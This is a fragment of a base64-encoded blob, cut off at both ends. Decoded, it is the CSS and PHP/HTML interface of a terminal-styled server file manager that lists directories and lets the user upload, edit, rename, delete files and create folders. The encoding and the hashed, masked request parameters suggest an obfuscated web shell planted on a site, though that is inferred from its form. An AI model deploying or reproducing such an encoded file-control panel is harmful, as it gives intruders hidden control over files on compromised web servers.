lcjogIzNlMzUyZTsNCiAgICAgICAgICAgIC0tdGVybWluYWwtZm9udDogJ0NvdXJpZXIgTmV3JywgQ291cmllciwgbW9ub3NwYWNlOw0KICAgICAgICAgICAgLS1zdWNjZXNzOiAjN2VjODczOyAvKiBNdXRlZCBHcmVlbiAqLw0KICAgICAgICAgICAgLS1lcnJvcjogI2ZmNWY1NjsgICAvKiBSZWQgKi8NCiAgICAgICAgfQ0KDQogICAgICAgICogeyBib3gtc2l6aW5nOiBib3JkZXItYm94OyB9DQoNCiAgICAgICAgYm9keSB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOw0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IHZhcigtLXRlcm1pbmFsLWZvbnQpOw0KICAgICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgICAgcGFkZGluZzogMjBweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIGhlaWdodDogMTAwdmg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICB9DQoNCiAgICAgICAgLnRlcm1pbmFsLXdpbmRvdyB7DQogICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgIG1heC13aWR0aDogOTAwcHg7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1wYW5lbCk7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4Ow0KICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxMHB4IDMwcHggcmdiYSgwLDAsMCwwLjUpOw0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47DQogICAgICAgICAgICBoZWlnaHQ6IDg1dmg7DQogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOw0KICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgICAgICB9DQoNCiAgICAgICAgLyogVG9wIEJhciAqLw0KICAgICAgICAudG9wLWJhciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgcGFkZGluZzogOHB4IDEycHg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICAgICAgfQ0KDQogICAgICAgIC53aW5kb3ctY29udHJvbHMgeyBkaXNwbGF5OiBmbGV4OyBnYXA6IDhweDsgfQ0KICAgICAgICAuY29udHJvbC1kb3QgeyB3aWR0aDogMTJweDsgaGVpZ2h0OiAxMnB4OyBib3JkZXItcmFkaXVzOiA1MCU7IH0NCiAgICAgICAgLnJlZCB7IGJhY2tncm91bmQtY29sb3I6ICNmZjVmNTY7IH0NCiAgICAgICAgLnllbGxvdyB7IGJhY2tncm91bmQtY29sb3I6ICNmZmJkMmU7IH0NCiAgICAgICAgLmdyZWVuIHsgYmFja2dyb3VuZC1jb2xvcjogIzI3YzkzZjsgfQ0KDQogICAgICAgIC5uYXYtYXJlYSB7IGRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGZsZXg6IDE7IG1hcmdpbjogMCAxNXB4OyB9DQoNCiAgICAgICAgLmJ0bi11cCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1pbnB1dCk7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBwYWRkaW5nOiAycHggOHB4OyBtYXJnaW4tcmlnaHQ6IDEwcHg7IGN1cnNvcjogcG9pbnRlcjsgYm9yZGVyLXJhZGl1czogM3B4Ow0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IHZhcigtLXRlcm1pbmFsLWZvbnQpOyBmb250LXNpemU6IDEycHg7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICAuYnRuLXVwOmhvdmVyIHsgYm9yZGVyLWNvbG9yOiB2YXIoLS1hY2NlbnQpOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgfQ0KICAgICAgICAuYnRuLXVwLmRpc2FibGVkIHsgb3BhY2l0eTogMC4zOyBwb2ludGVyLWV2ZW50czogbm9uZTsgfQ0KDQogICAgICAgIC5wYXRoLWRpc3BsYXkgew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXRleHQtZGltKTsgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYmctaW5wdXQpOw0KICAgICAgICAgICAgcGFkZGluZzogMnB4IDhweDsgYm9yZGVyLXJhZGl1czogM3B4OyBmb250LXNpemU6IDEycHg7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBmbGV4OiAxOyB3aGl0ZS1zcGFjZTogbm93cmFwOyBvdmVyZmxvdzogaGlkZGVuOyB0ZXh0LW92ZXJmbG93OiBlbGxpcHNpczsNCiAgICAgICAgfQ0KDQogICAgICAgIC8qIE1haW4gQ29udGVudCAqLw0KICAgICAgICAubWFpbi1jb250ZW50IHsgZmxleDogMTsgb3ZlcmZsb3cteTogYXV0bzsgcGFkZGluZzogMTBweDsgfQ0KDQogICAgICAgIC8qIFN0YXR1cyBNZXNzYWdlIChUZXJtaW5hbCBTdHlsZSkgKi8NCiAgICAgICAgLmNvbnNvbGUtbXNnIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDVweCAxMHB4Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweDsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiB2YXIoLS10ZXJtaW5hbC1mb250KTsNCiAgICAgICAgICAgIGJvcmRlci1sZWZ0OiA0cHggc29saWQgdHJhbnNwYXJlbnQ7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuMik7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICAuY29uc29sZS1tc2cuc3VjY2VzcyB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXN1Y2Nlc3MpOw0KICAgICAgICB9DQogICAgICAgIC5jb25zb2xlLW1zZy5lcnJvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLWVycm9yKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS1lcnJvcik7DQogICAgICAgIH0NCiAgICAgICAgLmNvbnNvbGUtbXNnOjpiZWZvcmUgew0KICAgICAgICAgICAgY29udGVudDogIj4+ICI7DQogICAgICAgICAgICBvcGFjaXR5OiAwLjc7DQogICAgICAgIH0NCg0KICAgICAgICAuZmlsZS1oZWFkZXIgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgYm9yZGVyLWJvdHRvbTogMXB4IGRhc2hlZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDVweDsgbWFyZ2luLWJvdHRvbTogNXB4OyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgIH0NCg0KICAgICAgICAuZmlsZS1yb3cgew0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgcGFkZGluZzogNHB4IDA7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgcmdiYSg2MiwgNTMsIDQ2LCAwLjUpOw0KICAgICAgICB9DQogICAgICAgIC5maWxlLXJvdzpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjAwLCAxNTUsIDEwOSwgMC4xKTsgfQ0KDQogICAgICAgIC5jb2wtcGVybSB7IHdpZHRoOiA1MHB4OyBjb2xvcjogdmFyKC0tdGV4dC1kaW0pOyB9DQogICAgICAgIC5jb2wtc2l6ZSB7IHdpZHRoOiA4MHB4OyB0ZXh0LWFsaWduOiByaWdodDsgcGFkZGluZy1yaWdodDogMTVweDsgY29sb3I6IHZhcigtLXRleHQtZGltKTsgfQ0KICAgICAgICAuY29sLWRhdGUgeyB3aWR0aDogMTIwcHg7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IH0NCiAgICAgICAgLmNvbC1uYW1lIHsgZmxleDogMTsgZm9udC13ZWlnaHQ6IGJvbGQ7IH0NCiAgICAgICAgLmNvbC1hY3Rpb25zIHsgd2lkdGg6IDE4MHB4OyB0ZXh0LWFsaWduOiByaWdodDsgfQ0KDQogICAgICAgIC5pcy1kaXIgLmNvbC1uYW1lIHsgY29sb3I6IHZhcigtLWFjY2VudCk7IH0NCiAgICAgICAgLmlzLWxpbmsgeyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiBpbmhlcml0OyBkaXNwbGF5OiBibG9jazsgfQ0KICAgICAgICAuaXMtbGluazpob3ZlciB7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9DQoNCiAgICAgICAgLmNtZC1saW5rIHsNCiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMHB4OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IGN1cnNvcjogcG9pbnRlcjsgZm9udC1zaXplOiAxMnB4Ow0KICAgICAgICB9DQogICAgICAgIC5jbWQtbGluazpob3ZlciB7IGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOyBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1hY2NlbnQpOyBjb2xvcjogdmFyKC0tYmctZGFyayk7IH0NCg0KICAgICAgICAvKiBCb3R0b20gUGFuZWwgKi8NCiAgICAgICAgLmJvdHRvbS1wYW5lbCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBwYWRkaW5nOiAxMHB4OyBkaXNwbGF5OiBmbGV4OyBnYXA6IDEwcHg7DQogICAgICAgIH0NCiAgICAgICAgLmNtZC1saW5lIHsgY29sb3I6IHZhcigtLWFjY2VudCk7IG1hcmdpbi1yaWdodDogNXB4OyB3aGl0ZS1zcGFjZTogbm93cmFwOyB9DQogICAgICAgIC5hY3Rpb24tZm9ybSB7IGRpc3BsYXk6IGZsZXg7IGdhcDogNXB4OyB3aWR0aDogMTAwJTsgYWxpZ24taXRlbXM6IGNlbnRlcjsgfQ0KICAgICAgICANCiAgICAgICAgaW5wdXRbdHlwZT0idGV4dCJdLCB0ZXh0YXJlYSwgaW5wdXRbdHlwZT0iZmlsZSJdIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLWJnLWlucHV0KTsgYm9yZGVyOiAxcHggc29saWQgdmFyKC0tYm9yZGVyKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOyBmb250LWZhbWlseTogdmFyKC0tdGVybWluYWwtZm9udCk7IHBhZGRpbmc6IDVweDsgb3V0bGluZTogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0geyBmbGV4OiAxOyB9DQogICAgICAgIA0KICAgICAgICBidXR0b24gew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYm9yZGVyKTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1hY2NlbnQpOyBmb250LWZhbWlseTogdmFyKC0tdGVybWluYWwtZm9udCk7DQogICAgICAgICAgICBwYWRkaW5nOiA0cHggMTJweDsgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICB9DQogICAgICAgIGJ1dHRvbjpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IHZhcigtLWFjY2VudCk7IGNvbG9yOiB2YXIoLS1iZy1kYXJrKTsgfQ0KDQogICAgICAgIC8qIEdFTkVSSUMgTU9EQUwgU1RZTEUgKi8NCiAgICAgICAgLm1vZGFsLW92ZXJsYXkgew0KICAgICAgICAgICAgZGlzcGxheTogbm9uZTsgcG9zaXRpb246IGZpeGVkOyB0b3A6IDA7IGxlZnQ6IDA7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuODUpOyB6LWluZGV4OiA5OTk7DQogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm1vZGFsLWJveCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1wYW5lbCk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWFjY2VudCk7DQogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OyBtaW4td2lkdGg6IDMwMHB4Ow0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgZ2FwOiAxNXB4Ow0KICAgICAgICB9DQoNCiAgICAgICAgLm1vZGFsLWhlYWRlciB7IGZvbnQtd2VpZ2h0OiBib2xkOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC1zaXplOiAxNXB4OyB9DQogICAgICAgIA0KICAgICAgICAubW9kYWwtZm9vdGVyIHsgdGV4dC1hbGlnbjogcmlnaHQ7IGRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogZmxleC1lbmQ7IGdhcDogMTBweDsgfQ0KDQogICAgICAgIC8qIEVkaXRvciBTcGVjaWZpYyAqLw0KICAgICAgICAjZWRpdG9yLW1vZGFsIC5tb2RhbC1ib3ggeyB3aWR0aDogODAlOyBoZWlnaHQ6IDgwJTsgfQ0KICAgICAgICAjZWRpdG9yLWFyZWEgeyBmbGV4OiAxOyByZXNpemU6IG5vbmU7IGJhY2tncm91bmQ6IHZhcigtLWJnLWlucHV0KTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7IGZvbnQtZmFtaWx5OiB2YXIoLS10ZXJtaW5hbC1mb250KTsgcGFkZGluZzogMTBweDsgfQ0KDQogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXIgeyB3aWR0aDogOHB4OyB9DQogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sgeyBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1kYXJrKTsgfQ0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHsgYmFja2dyb3VuZDogdmFyKC0tYm9yZGVyKTsgfQ0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iOmhvdmVyIHsgYmFja2dyb3VuZDogdmFyKC0tYWNjZW50KTsgfQ0KDQogICAgPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KDQo8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC13aW5kb3ciPg0KICAgIDwhLS0gSGVhZGVyIC0tPg0KICAgIDxkaXYgY2xhc3M9InRvcC1iYXIiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJ3aW5kb3ctY29udHJvbHMiPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IHJlZCI+PC9zcGFuPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IHllbGxvdyI+PC9zcGFuPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IGdyZWVuIj48L3NwYW4+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICANCiAgICAgICAgPGRpdiBjbGFzcz0ibmF2LWFyZWEiPg0KICAgICAgICAgICAgPD9waHAgaWYgKCRjYW5fZ29fdXApOiA/Pg0KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij88P3BocCBlY2hvIFBfRElSOyA/Pj08P3BocCBlY2hvIGdldF9oYXNoKCRwYXJlbnRfZGlyKTsgPz4iIGNsYXNzPSJidG4tdXAiIHRpdGxlPSJQYXJlbnQgRGlyZWN0b3J5Ij4mbHQ7IFVQPC9hPg0KICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYnRuLXVwIGRpc2FibGVkIj4mbHQ7IFVQPC9zcGFuPg0KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InBhdGgtZGlzcGxheSIgdGl0bGU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY3VycmVudF9kaXIpOyA/PiI+DQogICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjdXJyZW50X2Rpcik7ID8+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQoNCiAgICA8IS0tIE1haW4gQ29udGVudCAtLT4NCiAgICA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPg0KICAgICAgICA8IS0tIFN0YXR1cyBNZXNzYWdlIC0tPg0KICAgICAgICA8P3BocCBpZiAoJHN0YXR1c19tc2cpOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29uc29sZS1tc2cgPD9waHAgZWNobyAkc3RhdHVzX3R5cGU7ID8+Ij4NCiAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRzdGF0dXNfbXNnOyA/Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KDQogICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtaGVhZGVyIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1wZXJtIj5QZXJtczwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNpemUiPlNpemU8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1kYXRlIj5Nb2RpZmllZDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW5hbWUiPk5hbWU8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hY3Rpb25zIj5BY3Rpb25zPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KDQogICAgICAgIDw/cGhwIGZvcmVhY2ggKCRhbGxfaXRlbXMgYXMgJGl0ZW0pOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1yb3cgPD9waHAgZWNobyAkaXRlbVsnaXNfZGlyJ10gPyAnaXMtZGlyJyA6ICdpcy1maWxlJzsgPz4iPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1wZXJtIj48P3BocCBlY2hvICRpdGVtWydwZXJtcyddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zaXplIj48P3BocCBlY2hvICRpdGVtWydpc19kaXInXSA/ICdESVInIDogZm9ybWF0X3NpemUoJGl0ZW1bJ3NpemUnXSk7ID8+PC9kaXY+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWRhdGUiPjw/cGhwIGVjaG8gJGl0ZW1bJ21vZCddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1uYW1lIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpdGVtWydpc19kaXInXSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/PD9waHAgZWNobyBQX0RJUjsgPz49PD9waHAgZWNobyAkaXRlbVsnaGFzaCddOyA/PiIgY2xhc3M9ImlzLWxpbmsiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbmFtZSddKTsgPz48L2E+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hY3Rpb25zIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCEkaXRlbVsnaXNfZGlyJ10pOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuRWRpdG9yKCc8P3BocCBlY2hvICRpdGVtWydoYXNoJ107ID8+JywgJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhhZGRzbGFzaGVzKCRpdGVtWyduYW1lJ10pKTsgPz4nKSI+W2VkaXRdPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuUmVuYW1lTW9kYWwoJzw/cGhwIGVjaG8gJGl0ZW1bJ2hhc2gnXTsgPz4nLCAnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkpOyA/PicpIj5bcmVuYW1lXTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuRGVsZXRlTW9kYWwoJzw/cGhwIGVjaG8gJGl0ZW1bJ2hhc2gnXTsgPz4nLCAnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkpOyA/PicpIj5bZGVsZXRlXTwvc3Bhbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/Pg0KICAgICAgICANCiAgICAgICAgPD9waHAgaWYgKGVtcHR5KCRhbGxfaXRlbXMpKTogPz4NCiAgICAgICAgICAgIDxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDsgY29sb3I6dmFyKC0tdGV4dC1kaW0pOyI+RGlyZWN0b3J5IGlzIGVtcHR5LjwvZGl2Pg0KICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICA8L2Rpdj4NCg0KICAgIDwhLS0gQm90dG9tIFBhbmVsIC0tPg0KICAgIDxkaXYgY2xhc3M9ImJvdHRvbS1wYW5lbCI+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgY2xhc3M9ImFjdGlvbi1mb3JtIiBzdHlsZT0iZmxleDoyOyI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvIFBfQUNUSU9OOyA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gQV9VUDsgPz4iPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX1RBUkc7ID8+IiB2YWx1ZT0iPD9waHAgZWNobyBnZXRfaGFzaCgkY3VycmVudF9kaXIpOyA/PiI+DQogICAgICAgICAgICA8c3BhbiBjbGFzcz0iY21kLWxpbmUiPnVwbG9hZCZndDs8L3NwYW4+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iPD9waHAgZWNobyBQX0ZJTEU7ID8+Ij4NCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5TZW5kPC9idXR0b24+DQogICAgICAgIDwvZm9ybT4NCg0KICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGNsYXNzPSJhY3Rpb24tZm9ybSIgc3R5bGU9ImZsZXg6MTsiPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX0FDVElPTjsgPz4iIHZhbHVlPSI8P3BocCBlY2hvIEFfTUtESVI7ID8+Ij4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9UQVJHOyA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gZ2V0X2hhc2goJGN1cnJlbnRfZGlyKTsgPz4iPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5lIj5ta2RpciZndDs8L3NwYW4+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyBQX05BTUU7ID8+IiBwbGFjZWhvbGRlcj0ibmV3X2ZvbGRlciIgcmVxdWlyZWQ+DQogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+KzwvYnV0dG9uPg0KICAgICAgICA8L2Zvcm0+DQogICAgPC9kaXY+DQo8L2Rpdj4NCg0KPCEtLSBISURERU4gRk9STVMgRk9SIEFDVElPTlMgLS0+DQo8Zm9ybSBpZD0iYWN0aW9uLWZvcm0iIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9BQ1RJT047ID8+IiBpZD0iYWN0LWFjdGlvbiI+DQogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX0hBU0g7ID8+IiBpZD0iYWN0LWhhc2giPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9OQU1FOyA/PiIgaWQ9ImFjdC1uZXduYW1lIj4NCjwvZm9ybT4NCg0KPCEtLSBERUxFVEUgTU9EQUwgLS0+DQo8ZGl2IGlkPSJkZWxldGUtbW9kYWwiIGNsYXNzPSJtb2RhbC1vdmVybGF5Ij4NCiAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib3giPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPkRlbGV0ZSBDb25maXJtYXRpb248L2Rpdj4NCiAgICAgICAgPGRpdj5BcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIDxiIGlkPSJkZWwtZmlsZW5hbWUiPmZpbGU8L2I+PzwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjb25maXJtRGVsZXRlKCkiPkRlbGV0ZTwvYnV0dG9uPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8IS0tIFJFTkFNRSBNT0RBTCAtLT4NCjxkaXYgaWQ9InJlbmFtZS1tb2RhbCIgY2xhc3M9Im1vZGFsLW92ZXJsYXkiPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJveCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+UmVuYW1lPC9kaXY+DQogICAgICAgIDxkaXY+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9InJlbi1pbnB1dCIgc3R5bGU9IndpZHRoOjEwMCU7IHBhZGRpbmc6OHB4OyI+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWN